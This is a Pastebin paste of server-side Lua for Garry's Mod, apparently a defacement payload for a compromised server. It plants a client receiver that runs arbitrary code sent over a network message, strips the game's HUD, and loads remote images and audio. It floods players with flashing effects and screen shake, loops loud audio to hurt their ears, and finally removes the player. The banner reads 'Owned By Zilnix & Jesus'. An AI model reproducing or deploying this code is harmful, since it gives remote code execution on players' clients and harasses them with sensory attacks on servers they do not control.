Advertisement
Guest User

Untitled

a guest
Jan 17th, 2018
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.17 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "rip", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "RIP MON GARS" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://jesuschristofficiel.fr/gmod/goodbyemotherfucker.wav", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306958-hud.png", "hud1", 300, 128 )
  100. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306628-hud2.png", "hud2", 300, 128 )
  101. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306630-hud3.png", "hud3", 128, 128 )
  102. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos", 183, 256 )
  103. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850966-giphy.gif", "fedora", 256, 256 )
  104. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850963-e8nzc.gif", "dew", 110, 256 )
  105. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850968-2899-full.gif", "awp", 256, 55 )
  106. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos2", 83, 256 )
  107. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos3", 250, 80 )
  108. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos4", 100, 100 )
  109. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos5", 200, 200 )
  110. ]=]):format(lol.m_strImageLoadHTML) )
  111. end )
  112.  
  113. --HUD swap
  114. lol:PushAction( 31, function( pPlayer )
  115. lol:SendLua( pPlayer, [[
  116. (GAMEMODE or GM).CalcView = function() end
  117. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  118.  
  119. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  120. for k, v in pairs(remove) do
  121. hook.GetTable()[v] = {}
  122. end
  123.  
  124. local function GetWebMat( strURL )
  125. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  126. end
  127.  
  128. hook.Add( "HUDPaint", "newhud", function()
  129. surface.SetDrawColor( 255, 255, 255, 255 )
  130.  
  131. if GetWebMat( "hud1" ) then
  132. surface.SetMaterial( GetWebMat("hud1")[1] )
  133. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  134. end
  135. if GetWebMat( "hud2" ) then
  136. surface.SetMaterial( GetWebMat("hud2")[1] )
  137. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  138. end
  139. if GetWebMat( "hud3" ) then
  140. surface.SetMaterial( GetWebMat("hud3")[1] )
  141. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  142. end
  143. if GetWebMat( "doritos" ) then
  144. surface.SetMaterial( GetWebMat("doritos")[1] )
  145. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  146. end
  147. if GetWebMat( "dew" ) then
  148. surface.SetMaterial( GetWebMat("dew")[1] )
  149. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  150. end
  151. if GetWebMat( "fedora" ) then
  152. surface.SetMaterial( GetWebMat("fedora")[1] )
  153. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  154. end
  155. if GetWebMat( "awp" ) then
  156. surface.SetMaterial( GetWebMat("awp")[1] )
  157. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  158. end
  159. if GetWebMat( "doritos2" ) then
  160. surface.SetMaterial( GetWebMat("doritos2")[1] )
  161. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 83 *(200 /100), 256, CurTime() *512 )
  162. end
  163. if GetWebMat( "doritos3" ) then
  164. surface.SetMaterial( GetWebMat("doritos3")[1] )
  165. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 250 *(150 /250), 80, CurTime() *512 )
  166. end
  167. if GetWebMat( "doritos4" ) then
  168. surface.SetMaterial( GetWebMat("doritos4")[1] )
  169. surface.DrawTexturedRectRotated( math.random(200, 200), math.random(250, 260), 100 *(256 /250), 100, CurTime() *512 )
  170. end
  171. if GetWebMat( "doritos5" ) then
  172. surface.SetMaterial( GetWebMat("doritos5")[1] )
  173. surface.DrawTexturedRectRotated( math.random(300, 400), math.random(250, 260), 200 *(1920 /1080), 200, CurTime() *512 )
  174. end
  175.  
  176. draw.SimpleTextOutlined(
  177. "Mode P.L.S Activé, Maintenant Danser Les Clochards !",
  178. "DermaLarge",
  179. ScrW() /2 +math.random( -8, 8 ),
  180. ScrH() /2 +math.random( -8, 8 ) +64,
  181. Color( 150, 0, 0, 255 ),
  182. TEXT_ALIGN_CENTER,
  183. TEXT_ALIGN_CENTER,
  184. 1,
  185. Color( 255, 255, 255, 255 )
  186. )
  187.  
  188. draw.SimpleTextOutlined(
  189. "Owned By Zilnix & Jesus :D",
  190. "DermaLarge",
  191. ScrW() /2 +math.random( -8, 8 ),
  192. ScrH() /2 +math.random( -8, 8 ) +24,
  193. Color( 150, 0, 0, 255 ),
  194. TEXT_ALIGN_CENTER,
  195. TEXT_ALIGN_CENTER,
  196. 1,
  197. Color( 255, 255, 255, 255 )
  198. )
  199. end )
  200.  
  201. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  202. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  203.  
  204. surface.PlaySound( "garrysmod/save_load4.wav" )
  205. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  206. ]] )
  207. end )
  208.  
  209. --Disco time
  210. lol:PushAction( 10, function( pPlayer )
  211. local idx = pPlayer:EntIndex()
  212. timer.Create( "beat".. idx, 0.42, 0, function()
  213. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  214. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  215. end )
  216.  
  217.  
  218. lol:SendLua( pPlayer, [[
  219. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  220. local time = 0
  221.  
  222. hook.Add( "Think", "wat", function()
  223. if CurTime() < time then
  224. return
  225. end
  226.  
  227. time = CurTime() +0.05
  228. for i = 1, 16 do
  229. local part = emitter:Add(
  230. "particles/balloon_bit",
  231. LocalPlayer():GetPos() +Vector(
  232. math.random( -256, 256 ),
  233. math.random( -256, 256 ),
  234. 256
  235. )
  236. )
  237.  
  238. if part then
  239. local Size = math.random( 4, 7 )
  240.  
  241. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  242. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  243. part:SetDieTime( 4.5 )
  244. part:SetGravity( Vector(40, 0, -250) )
  245. part:SetLifeTime( 0 )
  246. part:SetStartSize( Size /2 )
  247. part:SetEndSize( Size )
  248. part:SetCollide( true )
  249. end
  250. end
  251. end )
  252. ]] )
  253.  
  254. lol:SendLua( pPlayer, [[
  255. hook.Add( "RenderScreenspaceEffects", "wat", function()
  256. local sinScaler = math.sin( CurTime() )
  257. DrawBloom(
  258. 0,
  259. 3,
  260. sinScaler *math.Rand(1, 8),
  261. sinScaler *math.Rand(1, 8),
  262. 6,
  263. math.Rand(0.5, 2),
  264. math.Rand(0, 0.3),
  265. math.Rand(0, 0.3),
  266. math.Rand(0.5, 1)
  267. )
  268.  
  269. DrawColorModify{
  270. ["$pp_colour_addr"] = 10,
  271. ["$pp_colour_addg"] = 0,
  272. ["$pp_colour_addb"] = 00,
  273. ["$pp_colour_brightness" ] = 0,
  274. ["$pp_colour_contrast" ] = 5,
  275. ["$pp_colour_colour" ] = 2,
  276. ["$pp_colour_mulr" ] = 1,
  277. ["$pp_colour_mulg" ] = 0,
  278. ["$pp_colour_mulb" ] = 0
  279. }
  280. end )
  281.  
  282. local mdl = ClientsideModel( "models/player/corpse1.mdl", RENDERGROUP_BOTH )
  283. mdl:SetNoDraw( true )
  284. local posCache, time = {}, 0
  285.  
  286. hook.Add( "HUDPaint", "dance", function()
  287. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  288. local idx = mdl:LookupSequence("taunt_dance")
  289. mdl.SeqDuration = mdl:SequenceDuration( idx )
  290. mdl.SeqStart = CurTime()
  291. mdl:ResetSequence( idx )
  292. end
  293.  
  294. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  295.  
  296.  
  297. local w, h = 300, 300
  298. local ang = Angle( 0, 0, 0 )
  299.  
  300. for i = 1, 32 do
  301. if CurTime() > time then
  302. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  303. end
  304. local x, y = posCache[i][1], posCache[i][2]
  305.  
  306. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  307. cam.IgnoreZ( true )
  308. render.SuppressEngineLighting( true )
  309.  
  310. render.SetLightingOrigin( mdl:GetPos() )
  311. render.ResetModelLighting( 1, 1, 1 )
  312. render.SetColorModulation( 1, 0, 0 )
  313.  
  314. mdl:DrawModel()
  315.  
  316. render.SuppressEngineLighting( false )
  317. cam.IgnoreZ( false )
  318. cam.End3D()
  319. end
  320.  
  321. if CurTime() > time then
  322. time = CurTime() +0.15
  323. end
  324. end )
  325.  
  326. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  327. ]] )
  328. end )
  329.  
  330. --Let the beat drop
  331. lol:PushAction( 54, function( pPlayer )
  332. lol:SendLua( pPlayer, [[
  333. hook.Add( "GetMotionBlurValues", "wat", function()
  334. return 1, 0, 0, math.sin(CurTime() *13)
  335. end )
  336.  
  337. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  338. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  339. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  340. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  341. end )
  342.  
  343. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  344. render.SetMaterial( Material("cable/blue_elec") )
  345. for i = 1, 32 do
  346. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  347. end
  348. end )
  349.  
  350. timer.Create( "thedrop", 0.42, 0, function()
  351. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  352. end )
  353. ]] )
  354. end )
  355.  
  356. --EVIL TIME rip headpones
  357. lol:PushAction( 175, function( pPlayer )
  358. lol:SendLua( pPlayer, [[
  359. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  360.  
  361. local sounds = {}
  362. for i = 1, 4 do
  363. sound.PlayURL( "http://jesuschristofficiel.fr/gmod/zilnix.mp3", "noblock noplay", function( pChan )
  364. sounds[#sounds +1] = pChan
  365. end )
  366. end
  367.  
  368. timer.Create( "asdf", 1, 0, function()
  369. if #sounds ~= 4 then return end
  370. timer.Destroy( "asdf" )
  371. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  372. end )
  373.  
  374. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  375. ]] )
  376.  
  377. pPlayer:Remove()
  378. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement